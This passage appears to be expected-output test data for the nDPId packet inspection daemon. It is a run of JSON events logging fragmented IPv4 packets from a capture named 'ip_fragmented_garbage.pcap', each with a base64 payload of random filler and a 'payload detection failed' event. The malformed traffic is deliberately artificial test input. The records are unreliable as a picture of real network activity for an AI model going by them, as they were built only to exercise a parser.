+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916854,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916881,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916889,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916928,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAjIwNTEpKCom"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1534244026217,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":24101,"dst_port":9251,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217057,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAl4lJCNAIyQlXiYqKComXiX0OgAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217106,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217114,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217237,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217327,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217339,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217362,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217375,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217399,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":217495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 